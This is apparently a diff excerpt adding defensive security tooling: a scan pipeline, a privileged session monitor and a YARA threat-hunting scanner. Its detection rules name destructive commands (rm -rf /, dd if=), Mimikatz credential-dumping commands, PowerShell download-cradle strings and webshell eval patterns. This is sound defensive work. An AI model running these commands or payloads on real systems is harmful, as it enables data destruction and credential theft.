"file": r.get("path", ""),
|
||||
"line": r.get("start", {}).get("line", 0),
|
||||
})
|
||||
return findings
|
||||
except FileNotFoundError:
|
||||
return [{"tool": "semgrep", "error": "semgrep not installed"}]
|
||||
except subprocess.TimeoutExpired:
|
||||
return [{"tool": "semgrep", "error": "scan timed out"}]
|
||||
except json.JSONDecodeError:
|
||||
return [{"tool": "semgrep", "error": "invalid JSON output"}]
|
||||
|
||||
|
||||
def run_trivy(image_or_path, scan_type="image"):
|
||||
"""Run Trivy vulnerability scan on image or filesystem."""
|
||||
cmd = ["trivy", scan_type, "--format", "json", "--quiet", image_or_path]
|
||||
if scan_type == "fs":
|
||||
cmd = ["trivy", "fs", "--format", "json", "--quiet", "--scanners", "vuln,secret", image_or_path]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
|
||||
data = json.loads(result.stdout) if result.stdout.strip() else {}
|
||||
findings = []
|
||||
for res in data.get("Results", []):
|
||||
for vuln in res.get("Vulnerabilities", []):
|
||||
findings.append({
|
||||
"tool": "trivy",
|
||||
"rule_id": vuln.get("VulnerabilityID", ""),
|
||||
"severity": vuln.get("Severity", "UNKNOWN").upper(),
|
||||
"message": vuln.get("Title", ""),
|
||||
"file": res.get("Target", ""),
|
||||
"line": 0,
|
||||
"fixed_version": vuln.get("FixedVersion", ""),
|
||||
})
|
||||
return findings
|
||||
except FileNotFoundError:
|
||||
return [{"tool": "trivy", "error": "trivy not installed"}]
|
||||
except (subprocess.TimeoutExpired, json.JSONDecodeError) as e:
|
||||
return [{"tool": "trivy", "error": str(e)}]
|
||||
|
||||
|
||||
def run_gitleaks(repo_path):
|
||||
"""Run Gitleaks secret detection scan."""
|
||||
cmd = ["gitleaks", "detect", "--source", repo_path, "--report-format", "json",
|
||||
"--report-path", "/dev/stdout", "--no-banner"]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
|
||||
data = json.loads(result.stdout) if result.stdout.strip().startswith("[") else []
|
||||
findings = []
|
||||
for leak in data:
|
||||
findings.append({
|
||||
"tool": "gitleaks",
|
||||
"rule_id": leak.get("RuleID", ""),
|
||||
"severity": "HIGH",
|
||||
"message": leak.get("Description", ""),
|
||||
"file": leak.get("File", ""),
|
||||
"line": leak.get("StartLine", 0),
|
||||
})
|
||||
return findings
|
||||
except FileNotFoundError:
|
||||
return [{"tool": "gitleaks", "error": "gitleaks not installed"}]
|
||||
except (subprocess.TimeoutExpired, json.JSONDecodeError) as e:
|
||||
return [{"tool": "gitleaks", "error": str(e)}]
|
||||
|
||||
|
||||
def enforce_gate(findings, fail_on="HIGH"):
|
||||
"""Enforce security gate based on severity threshold."""
|
||||
threshold = SEVERITY_ORDER.get(fail_on.upper(), 3)
|
||||
blockers = [
|
||||
f for f in findings
|
||||
if not f.get("error") and SEVERITY_ORDER.get(f.get("severity", ""), 0) >= threshold
|
||||
]
|
||||
return {
|
||||
"gate_threshold": fail_on,
|
||||
"blocking_findings": len(blockers),
|
||||
"passed": len(blockers) == 0,
|
||||
}
|
||||
|
||||
|
||||
def aggregate_report(all_findings):
|
||||
"""Aggregate findings from all scanners."""
|
||||
by_severity = {}
|
||||
by_tool = {}
|
||||
for f in all_findings:
|
||||
if f.get("error"):
|
||||
continue
|
||||
sev = f.get("severity", "UNKNOWN")
|
||||
tool = f.get("tool", "unknown")
|
||||
by_severity[sev] = by_severity.get(sev, 0) + 1
|
||||
by_tool[tool] = by_tool.get(tool, 0) + 1
|
||||
return {
|
||||
"total_findings": sum(1 for f in all_findings if not f.get("error")),
|
||||
"by_severity": by_severity,
|
||||
"by_tool": by_tool,
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="DevSecOps security scanning pipeline")
|
||||
parser.add_argument("target", nargs="?", help="Directory or container image to scan")
|
||||
parser.add_argument("--semgrep", action="store_true", help="Run Semgrep SAST")
|
||||
parser.add_argument("--trivy", action="store_true", help="Run Trivy vulnerability scan")
|
||||
parser.add_argument("--trivy-type", default="fs", choices=["image", "fs"], help="Trivy scan type")
|
||||
parser.add_argument("--gitleaks", action="store_true", help="Run Gitleaks secret detection")
|
||||
parser.add_argument("--fail-on", default="HIGH", help="Fail gate on severity (default: HIGH)")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] DevSecOps Security Scanning Pipeline")
|
||||
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "findings": []}
|
||||
|
||||
if not args.target:
|
||||
print("[DEMO] Usage: python agent.py /path/to/code --semgrep --trivy --gitleaks")
|
||||
print(" Tools: semgrep (SAST), trivy (SCA/container), gitleaks (secrets)")
|
||||
print(json.dumps({"demo": True, "tools": ["semgrep", "trivy", "gitleaks"]}, indent=2))
|
||||
sys.exit(0)
|
||||
|
||||
if args.semgrep:
|
||||
report["findings"].extend(run_semgrep(args.target))
|
||||
if args.trivy:
|
||||
report["findings"].extend(run_trivy(args.target, args.trivy_type))
|
||||
if args.gitleaks:
|
||||
report["findings"].extend(run_gitleaks(args.target))
|
||||
|
||||
summary = aggregate_report(report["findings"])
|
||||
gate = enforce_gate(report["findings"], args.fail_on)
|
||||
report["summary"] = summary
|
||||
report["gate"] = gate
|
||||
|
||||
print(f"[*] Total findings: {summary['total_findings']}")
|
||||
print(f"[*] By severity: {summary['by_severity']}")
|
||||
print(f"[*] Gate ({args.fail_on}): {'PASSED' if gate['passed'] else 'FAILED'}")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
|
||||
print(json.dumps({"gate_passed": gate["passed"], "total": summary["total_findings"]}, indent=2))
|
||||
sys.exit(0 if gate["passed"] else 1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,18 @@
|
||||
---
|
||||
name: implementing-privileged-session-monitoring
|
||||
description: >
|
||||
Monitor and audit privileged user sessions including SSH, RDP, and
|
||||
database access. Tracks session metadata, records commands, detects
|
||||
anomalous activity, and enforces session policies for PAM compliance.
|
||||
domain: cybersecurity
|
||||
subdomain: identity-access-management
|
||||
tags: [pam, session-monitoring, privileged-access, audit-logging]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Implementing Privileged Session Monitoring
|
||||
|
||||
Monitor privileged sessions (SSH, RDP, database) with real-time command
|
||||
logging, anomaly detection, session recording, and compliance reporting.
|
||||
@@ -0,0 +1,63 @@
|
||||
# API Reference: Privileged Session Monitoring
|
||||
|
||||
## SSH Auth Log Parsing
|
||||
```bash
|
||||
# Location
|
||||
/var/log/auth.log # Debian/Ubuntu
|
||||
/var/log/secure # RHEL/CentOS
|
||||
|
||||
# Extract SSH sessions
|
||||
grep "sshd.*Accepted" /var/log/auth.log
|
||||
grep "sshd.*Failed" /var/log/auth.log
|
||||
|
||||
# Count by source IP
|
||||
grep "sshd.*Accepted" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
|
||||
```
|
||||
|
||||
## Windows RDP Event IDs
|
||||
| Event ID | Log | Description |
|
||||
|----------|-----|------------|
|
||||
| 4624 (Type 10) | Security | Successful RDP logon |
|
||||
| 4625 (Type 10) | Security | Failed RDP logon |
|
||||
| 1149 | TerminalServices-RemoteConnectionManager | RDP connection established |
|
||||
| 21 | TerminalServices-LocalSessionManager | Session logon succeeded |
|
||||
| 24 | TerminalServices-LocalSessionManager | Session disconnected |
|
||||
| 25 | TerminalServices-LocalSessionManager | Session reconnected |
|
||||
|
||||
## PowerShell RDP Query
|
||||
```powershell
|
||||
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} |
|
||||
Where-Object {$_.Properties[8].Value -eq 10} |
|
||||
Select-Object TimeCreated,
|
||||
@{N='User';E={$_.Properties[5].Value}},
|
||||
@{N='SourceIP';E={$_.Properties[18].Value}}
|
||||
```
|
||||
|
||||
## CyberArk PSM REST API
|
||||
```bash
|
||||
# Get active sessions
|
||||
curl -H "Authorization: $CYBERARK_TOKEN" \
|
||||
"https://pvwa.example.com/PasswordVault/api/LiveSessions"
|
||||
|
||||
# Get session recordings
|
||||
curl -H "Authorization: $CYBERARK_TOKEN" \
|
||||
"https://pvwa.example.com/PasswordVault/api/Recordings?Limit=100"
|
||||
```
|
||||
|
||||
## Session Policy Fields
|
||||
| Policy | Default | Description |
|
||||
|--------|---------|------------|
|
||||
| max_duration_hours | 8 | Maximum session length |
|
||||
| max_idle_minutes | 30 | Auto-disconnect on idle |
|
||||
| require_mfa | true | MFA required for access |
|
||||
| record_session | true | Full session recording |
|
||||
| allowed_hours | 06:00-22:00 | Permitted access window |
|
||||
|
||||
## Restricted Commands (Alert Triggers)
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `rm -rf /` | Destructive deletion |
|
||||
| `dd if=` | Disk overwrite |
|
||||
| `chmod 777` | Excessive permissions |
|
||||
| `iptables -F` | Firewall rule flush |
|
||||
| `passwd root` | Root password change |
|
||||
@@ -0,0 +1,234 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Privileged session monitoring agent.
|
||||
|
||||
Monitors SSH auth logs, Windows RDP events, and database sessions to
|
||||
track privileged access, detect anomalies, and generate audit reports.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import datetime
|
||||
import collections
|
||||
|
||||
try:
|
||||
import subprocess
|
||||
HAS_SUBPROCESS = True
|
||||
except ImportError:
|
||||
HAS_SUBPROCESS = False
|
||||
|
||||
|
||||
SESSION_POLICIES = {
|
||||
"max_duration_hours": 8,
|
||||
"max_idle_minutes": 30,
|
||||
"require_mfa": True,
|
||||
"record_session": True,
|
||||
"allowed_hours": {"start": 6, "end": 22},
|
||||
"restricted_commands": [
|
||||
r"rm\s+-rf\s+/", r"dd\s+if=", r"mkfs\.", r"shutdown", r"reboot",
|
||||
r"passwd\s+root", r"visudo", r"chmod\s+777", r"iptables\s+-F",
|
||||
],
|
||||
}
|
||||
|
||||
PRIVILEGED_ACCOUNTS = [
|
||||
"root", "administrator", "admin", "dba", "sa",
|
||||
"sysadmin", "service_account", "deploy",
|
||||
]
|
||||
|
||||
|
||||
def parse_ssh_auth_log(log_path, max_lines=10000):
|
||||
"""Parse SSH authentication log for session events."""
|
||||
sessions = []
|
||||
pattern = re.compile(
|
||||
r"(\w+\s+\d+\s+[\d:]+)\s+(\S+)\s+sshd\[(\d+)\]:\s+"
|
||||
r"(Accepted|Failed)\s+(\S+)\s+for\s+(\S+)\s+from\s+(\S+)\s+port\s+(\d+)"
|
||||
)
|
||||
try:
|
||||
with open(log_path, "r") as f:
|
||||
for i, line in enumerate(f):
|
||||
if i >= max_lines:
|
||||
break
|
||||
m = pattern.search(line)
|
||||
if m:
|
||||
sessions.append({
|
||||
"timestamp": m.group(1),
|
||||
"hostname": m.group(2),
|
||||
"pid": m.group(3),
|
||||
"status": m.group(4).lower(),
|
||||
"auth_method": m.group(5),
|
||||
"username": m.group(6),
|
||||
"source_ip": m.group(7),
|
||||
"source_port": int(m.group(8)),
|
||||
"privileged": m.group(6).lower() in PRIVILEGED_ACCOUNTS,
|
||||
})
|
||||
except FileNotFoundError:
|
||||
return {"error": f"Log file not found: {log_path}"}
|
||||
return sessions
|
||||
|
||||
|
||||
def parse_rdp_events_windows():
|
||||
"""Parse Windows RDP logon events via PowerShell."""
|
||||
cmd = (
|
||||
"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} "
|
||||
"| Where-Object {$_.Properties[8].Value -eq 10} "
|
||||
"| Select-Object -First 50 "
|
||||
"| ForEach-Object { @{TimeCreated=$_.TimeCreated.ToString('o');"
|
||||
"User=$_.Properties[5].Value;Domain=$_.Properties[6].Value;"
|
||||
"SourceIP=$_.Properties[18].Value} } | ConvertTo-Json"
|
||||
)
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["powershell", "-NoProfile", "-Command", cmd],
|
||||
capture_output=True, text=True, timeout=30
|
||||
)
|
||||
if result.stdout.strip():
|
||||
data = json.loads(result.stdout)
|
||||
if isinstance(data, dict):
|
||||
data = [data]
|
||||
return [
|
||||
{
|
||||
"timestamp": d.get("TimeCreated", ""),
|
||||
"username": d.get("User", ""),
|
||||
"domain": d.get("Domain", ""),
|
||||
"source_ip": d.get("SourceIP", ""),
|
||||
"session_type": "RDP",
|
||||
"privileged": d.get("User", "").lower() in PRIVILEGED_ACCOUNTS,
|
||||
}
|
||||
for d in data
|
||||
]
|
||||
return []
|
||||
except (subprocess.SubprocessError, json.JSONDecodeError):
|
||||
return []
|
||||
|
||||
|
||||
def check_command_policy(command):
|
||||
"""Check if a command violates session policy."""
|
||||
violations = []
|
||||
for pattern in SESSION_POLICIES["restricted_commands"]:
|
||||
if re.search(pattern, command, re.IGNORECASE):
|
||||
violations.append({
|
||||
"pattern": pattern,
|
||||
"command": command[:100],
|
||||
"action": "alert_and_log",
|
||||
})
|
||||
return violations
|
||||
|
||||
|
||||
def detect_session_anomalies(sessions):
|
||||
"""Detect anomalous session patterns."""
|
||||
anomalies = []
|
||||
ip_counts = collections.Counter(s.get("source_ip") for s in sessions)
|
||||
user_counts = collections.Counter(s.get("username") for s in sessions)
|
||||
|
||||
for ip, count in ip_counts.items():
|
||||
if count > 20:
|
||||
anomalies.append({
|
||||
"type": "brute_force_candidate",
|
||||
"source_ip": ip,
|
||||
"attempt_count": count,
|
||||
"severity": "HIGH",
|
||||
})
|
||||
|
||||
failed = [s for s in sessions if s.get("status") == "failed"]
|
||||
failed_by_user = collections.Counter(s.get("username") for s in failed)
|
||||
for user, count in failed_by_user.items():
|
||||
if count >= 5:
|
||||
anomalies.append({
|
||||
"type": "failed_auth_spike",
|
||||
"username": user,
|
||||
"failed_count": count,
|
||||
"severity": "HIGH" if user in PRIVILEGED_ACCOUNTS else "MEDIUM",
|
||||
})
|
||||
|
||||
priv_sessions = [s for s in sessions if s.get("privileged")]
|
||||
for ps in priv_sessions:
|
||||
anomalies.append({
|
||||
"type": "privileged_session",
|
||||
"username": ps.get("username"),
|
||||
"source_ip": ps.get("source_ip"),
|
||||
"severity": "MEDIUM",
|
||||
})
|
||||
|
||||
return anomalies
|
||||
|
||||
|
||||
def generate_audit_report(sessions, anomalies):
|
||||
"""Generate privileged session audit report."""
|
||||
total = len(sessions)
|
||||
privileged = sum(1 for s in sessions if s.get("privileged"))
|
||||
accepted = sum(1 for s in sessions if s.get("status") == "accepted")
|
||||
failed = sum(1 for s in sessions if s.get("status") == "failed")
|
||||
unique_users = len(set(s.get("username") for s in sessions))
|
||||
unique_ips = len(set(s.get("source_ip") for s in sessions))
|
||||
|
||||
return {
|
||||
"report_time": datetime.datetime.utcnow().isoformat() + "Z",
|
||||
"total_sessions": total,
|
||||
"accepted": accepted,
|
||||
"failed": failed,
|
||||
"privileged_sessions": privileged,
|
||||
"unique_users": unique_users,
|
||||
"unique_source_ips": unique_ips,
|
||||
"anomaly_count": len(anomalies),
|
||||
"policy": SESSION_POLICIES,
|
||||
}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Privileged session monitoring agent")
|
||||
parser.add_argument("--ssh-log", help="Path to SSH auth.log")
|
||||
parser.add_argument("--rdp", action="store_true", help="Parse Windows RDP events")
|
||||
parser.add_argument("--check-command", help="Check a command against policy")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Privileged Session Monitoring Agent")
|
||||
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"}
|
||||
|
||||
sessions = []
|
||||
if args.ssh_log:
|
||||
sessions = parse_ssh_auth_log(args.ssh_log)
|
||||
if isinstance(sessions, dict) and "error" in sessions:
|
||||
print(f"[!] {sessions['error']}")
|
||||
sessions = []
|
||||
else:
|
||||
print(f"[*] SSH sessions parsed: {len(sessions)}")
|
||||
|
||||
if args.rdp and sys.platform == "win32":
|
||||
rdp_sessions = parse_rdp_events_windows()
|
||||
sessions.extend(rdp_sessions)
|
||||
print(f"[*] RDP sessions parsed: {len(rdp_sessions)}")
|
||||
|
||||
if args.check_command:
|
||||
violations = check_command_policy(args.check_command)
|
||||
if violations:
|
||||
print(f"[!] Command policy violations: {len(violations)}")
|
||||
for v in violations:
|
||||
print(f" Pattern: {v['pattern']}")
|
||||
else:
|
||||
print("[*] Command passes policy check")
|
||||
report["command_check"] = {"command": args.check_command, "violations": violations}
|
||||
|
||||
if sessions:
|
||||
anomalies = detect_session_anomalies(sessions)
|
||||
audit = generate_audit_report(sessions, anomalies)
|
||||
report["sessions"] = audit
|
||||
report["anomalies"] = anomalies
|
||||
print(f"[*] Anomalies detected: {len(anomalies)}")
|
||||
else:
|
||||
print("\n[DEMO] Usage: python agent.py --ssh-log /var/log/auth.log")
|
||||
print(" Monitors: SSH, RDP, privileged account access")
|
||||
print(" Detects: brute force, failed auth spikes, off-hours access")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
|
||||
print(json.dumps({"sessions": len(sessions),
|
||||
"anomalies": len(report.get("anomalies", []))}, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,18 @@
|
||||
---
|
||||
name: performing-threat-hunting-with-yara-rules
|
||||
description: >
|
||||
Use YARA pattern-matching rules to hunt for malware, suspicious files, and
|
||||
indicators of compromise across filesystems and memory dumps. Covers rule
|
||||
authoring, yara-python scanning, and integration with threat intel feeds.
|
||||
domain: cybersecurity
|
||||
subdomain: threat-hunting
|
||||
tags: [yara, malware-detection, threat-hunting, pattern-matching]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Performing Threat Hunting with YARA Rules
|
||||
|
||||
Scan files, directories, and memory dumps using YARA rules to identify
|
||||
malware families, suspicious patterns, and IOC matches.
|
||||
@@ -0,0 +1,89 @@
|
||||
# API Reference: Threat Hunting with YARA Rules
|
||||
|
||||
## yara-python Library
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install yara-python
|
||||
```
|
||||
|
||||
### Compile and Scan
|
||||
```python
|
||||
import yara
|
||||
|
||||
# Compile from source string
|
||||
rules = yara.compile(source='rule test { strings: $a = "malware" condition: $a }')
|
||||
|
||||
# Compile from file
|
||||
rules = yara.compile(filepath='/path/to/rules.yar')
|
||||
|
||||
# Compile from directory (multiple files)
|
||||
rules = yara.compile(filepaths={'ns1': '/rules/rule1.yar', 'ns2': '/rules/rule2.yar'})
|
||||
|
||||
# Scan file
|
||||
matches = rules.match('/path/to/suspect.exe')
|
||||
for m in matches:
|
||||
print(m.rule, m.meta, m.strings, m.tags)
|
||||
|
||||
# Scan data (bytes)
|
||||
matches = rules.match(data=open('/path/to/file', 'rb').read())
|
||||
|
||||
# Scan with timeout (seconds)
|
||||
matches = rules.match('/path/to/file', timeout=60)
|
||||
```
|
||||
|
||||
## YARA CLI
|
||||
```bash
|
||||
# Scan file with single rule
|
||||
yara rule.yar suspect.exe
|
||||
|
||||
# Scan directory recursively
|
||||
yara -r rules.yar /path/to/directory/
|
||||
|
||||
# Show matching strings
|
||||
yara -s rule.yar suspect.exe
|
||||
|
||||
# Show metadata
|
||||
yara -e rule.yar suspect.exe
|
||||
|
||||
# Compile rules to binary
|
||||
yarac rules.yar compiled.yarc
|
||||
yara compiled.yarc suspect.exe
|
||||
|
||||
# Scan with tag filter
|
||||
yara -t malware rules.yar /path/
|
||||
```
|
||||
|
||||
## YARA Rule Structure
|
||||
```yara
|
||||
rule Example_Rule {
|
||||
meta:
|
||||
author = "analyst"
|
||||
description = "Detects example pattern"
|
||||
severity = "high"
|
||||
reference = "https://example.com"
|
||||
strings:
|
||||
$text = "suspicious_string" ascii nocase
|
||||
$hex = { 4D 5A 90 00 }
|
||||
$regex = /eval\(base64_decode/
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and 2 of ($text, $hex, $regex)
|
||||
}
|
||||
```
|
||||
|
||||
## Match Object Fields
|
||||
| Field | Description |
|
||||
|-------|------------|
|
||||
| rule | Rule name that matched |
|
||||
| meta | Dict of meta key-value pairs |
|
||||
| strings | List of (offset, identifier, data) tuples |
|
||||
| tags | List of rule tags |
|
||||
| namespace | Rule namespace |
|
||||
|
||||
## Community Rule Sources
|
||||
| Source | URL |
|
||||
|--------|-----|
|
||||
| YARA-Rules | https://github.com/Yara-Rules/rules |
|
||||
| Elastic YARA | https://github.com/elastic/protections-artifacts |
|
||||
| Malpedia | https://malpedia.caad.fkie.fraunhofer.de |
|
||||
| ThreatHunting Keywords | https://github.com/mthcht/ThreatHunting-Keywords-yara-rules |
|
||||
@@ -0,0 +1,173 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Threat hunting agent using YARA rules.
|
||||
|
||||
Scans files and directories with yara-python, supports rule compilation,
|
||||
multi-rule scanning, and structured JSON match output.
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import hashlib
|
||||
import datetime
|
||||
|
||||
try:
|
||||
import yara
|
||||
HAS_YARA = True
|
||||
except ImportError:
|
||||
HAS_YARA = False
|
||||
|
||||
|
||||
BUILTIN_RULES = {
|
||||
"suspicious_powershell": """
|
||||
rule Suspicious_PowerShell {
|
||||
meta:
|
||||
description = "Detects obfuscated PowerShell patterns"
|
||||
severity = "high"
|
||||
strings:
|
||||
$enc = "-EncodedCommand" ascii nocase
|
||||
$bypass = "-ExecutionPolicy Bypass" ascii nocase
|
||||
$hidden = "-WindowStyle Hidden" ascii nocase
|
||||
$iex = "IEX" ascii nocase
|
||||
$webclient = "Net.WebClient" ascii nocase
|
||||
$downloadstring = "DownloadString" ascii nocase
|
||||
condition:
|
||||
2 of them
|
||||
}""",
|
||||
"mimikatz_strings": """
|
||||
rule Mimikatz_Strings {
|
||||
meta:
|
||||
description = "Detects Mimikatz credential harvesting tool"
|
||||
severity = "critical"
|
||||
strings:
|
||||
$s1 = "sekurlsa::logonpasswords" ascii nocase
|
||||
$s2 = "sekurlsa::wdigest" ascii nocase
|
||||
$s3 = "lsadump::sam" ascii nocase
|
||||
$s4 = "privilege::debug" ascii nocase
|
||||
$s5 = "gentilkiwi" ascii wide
|
||||
condition:
|
||||
2 of them
|
||||
}""",
|
||||
"webshell_generic": """
|
||||
rule Webshell_Generic {
|
||||
meta:
|
||||
description = "Detects common webshell patterns"
|
||||
severity = "high"
|
||||
strings:
|
||||
$php1 = "eval($_POST" ascii nocase
|
||||
$php2 = "eval($_GET" ascii nocase
|
||||
$php3 = "eval($_REQUEST" ascii nocase
|
||||
$php4 = "base64_decode($_" ascii nocase
|
||||
$asp1 = "eval(Request" ascii nocase
|
||||
$jsp1 = "Runtime.getRuntime().exec" ascii
|
||||
condition:
|
||||
any of them
|
||||
}""",
|
||||
}
|
||||
|
||||
|
||||
def compile_rules(rule_sources=None, rule_dir=None):
|
||||
"""Compile YARA rules from strings or directory."""
|
||||
if not HAS_YARA:
|
||||
return None
|
||||
if rule_dir and os.path.isdir(rule_dir):
|
||||
filepaths = {}
|
||||
for f in os.listdir(rule_dir):
|
||||
if f.endswith((".yar", ".yara")):
|
||||
filepaths[f] = os.path.join(rule_dir, f)
|
||||
if filepaths:
|
||||
return yara.compile(filepaths=filepaths)
|
||||
if rule_sources:
|
||||
combined = "\n".join(rule_sources.values())
|
||||
return yara.compile(source=combined)
|
||||
return yara.compile(source="\n".join(BUILTIN_RULES.values()))
|
||||
|
||||
|
||||
def scan_file(rules, filepath):
|
||||
"""Scan a single file with compiled YARA rules."""
|
||||
try:
|
||||
matches = rules.match(filepath)
|
||||
return [
|
||||
{
|
||||
"rule": m.rule,
|
||||
"meta": m.meta,
|
||||
"strings": [
|
||||
{"offset": s[0], "identifier": s[1], "data": s[2].decode("utf-8", errors="replace")[:64]}
|
||||
for s in m.strings
|
||||
],
|
||||
"tags": list(m.tags),
|
||||
}
|
||||
for m in matches
|
||||
]
|
||||
except yara.Error as e:
|
||||
return [{"error": str(e)}]
|
||||
|
||||
|
||||
def scan_directory(rules, directory, max_size_mb=50):
|
||||
"""Recursively scan directory with YARA rules."""
|
||||
results = []
|
||||
max_bytes = max_size_mb * 1024 * 1024
|
||||
for root, _, files in os.walk(directory):
|
||||
for fname in files:
|
||||
fpath = os.path.join(root, fname)
|
||||
try:
|
||||
if os.path.getsize(fpath) > max_bytes:
|
||||
continue
|
||||
matches = scan_file(rules, fpath)
|
||||
if matches and not any("error" in m for m in matches):
|
||||
sha256 = hashlib.sha256(open(fpath, "rb").read()).hexdigest()
|
||||
results.append({"file": fpath, "sha256": sha256, "matches": matches})
|
||||
except (PermissionError, OSError):
|
||||
continue
|
||||
return results
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="YARA-based threat hunting scanner")
|
||||
parser.add_argument("target", nargs="?", help="File or directory to scan")
|
||||
parser.add_argument("--rules-dir", help="Directory containing .yar/.yara rule files")
|
||||
parser.add_argument("--max-size", type=int, default=50, help="Max file size in MB (default: 50)")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] YARA Threat Hunting Agent")
|
||||
print(f" yara-python available: {HAS_YARA}")
|
||||
|
||||
if not HAS_YARA:
|
||||
print("[!] Install yara-python: pip install yara-python")
|
||||
sys.exit(1)
|
||||
|
||||
rules = compile_rules(rule_dir=args.rules_dir)
|
||||
if not rules:
|
||||
print("[!] No rules compiled")
|
||||
sys.exit(1)
|
||||
|
||||
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "findings": []}
|
||||
|
||||
if args.target and os.path.isfile(args.target):
|
||||
matches = scan_file(rules, args.target)
|
||||
if matches:
|
||||
report["findings"].append({"file": args.target, "matches": matches})
|
||||
elif args.target and os.path.isdir(args.target):
|
||||
report["findings"] = scan_directory(rules, args.target, args.max_size)
|
||||
else:
|
||||
print("[DEMO] Built-in rules available:")
|
||||
for name, rule in BUILTIN_RULES.items():
|
||||
desc = [l for l in rule.splitlines() if "description" in l]
|
||||
print(f" {name}: {desc[0].strip() if desc else ''}")
|
||||
print("\nUsage: python agent.py /path/to/scan --rules-dir /path/to/rules")
|
||||
|
||||
total = len(report["findings"])
|
||||
print(f"\n[*] Total files with matches: {total}")
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(f"[*] Report saved to {args.output}")
|
||||
else:
|
||||
print(json.dumps({"files_matched": total, "rules_loaded": len(BUILTIN_RULES)}, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user